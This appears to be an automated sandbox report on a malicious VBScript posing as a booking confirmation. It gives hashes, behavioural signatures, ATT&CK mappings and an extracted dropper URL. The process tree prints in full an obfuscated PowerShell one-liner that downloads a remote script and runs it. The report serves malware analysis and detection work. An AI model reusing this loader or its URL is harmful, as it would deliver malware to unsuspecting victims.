87f4a4c323f26710b7acdc123173fa63f4ccb4f3c8239dfaa489ee69ab89f7cc

Analysis

max time kernel
19s
max time network
137s
platform
windows10_x64
resource
win10v20210408
submitted
01/08/2021, 06:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Booking_confirmation.vbs
Size 1KB
Sample210801-952qkprecs
SHA256 87f4a4c323f26710b7acdc123173fa63f4ccb4f3c8239dfaa489ee69ab89f7cc
MD5 50d8ac11ba7973758b13053ba156b7cc
SHA1 4698750a58a24d43c7102ba0f0f48058c7cb45fb
SHA512 99d5af7437934a27ebf19e2bb070e9e9ff78f57662642cdd28dddc8d5dbbf9af440c7ab459f1c4c40723f3abce70c0d153d9aede3688aa1ef2ba90ede3d9e4e7
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://ia601405.us.archive.org/23/items/all_bypassiiiiiiioolll/all_bypassiiiiiiioolll.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
12	1944	powershell.exe
20	1944	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1944	powershell.exe
1944	powershell.exe
1944	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1944	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1456 wrote to memory of 1944	1456	WScript.exe	72
PID 1456 wrote to memory of 1944	1456	WScript.exe	72

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Booking_confirmation.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='https://ia601405.us.archive.org/23/items/all_bypassiiiiiiioolll/all_bypassiiiiiiioolll.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1944

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1944-119-0x000001A7B6590000-0x000001A7B6591000-memory.dmp

Download

memory/1944-123-0x000001A7B70B0000-0x000001A7B70B1000-memory.dmp

Download

memory/1944-126-0x000001A7B6760000-0x000001A7B6762000-memory.dmp

Download

memory/1944-127-0x000001A7B6763000-0x000001A7B6765000-memory.dmp

Download

memory/1944-130-0x000001A7B6766000-0x000001A7B6768000-memory.dmp

Download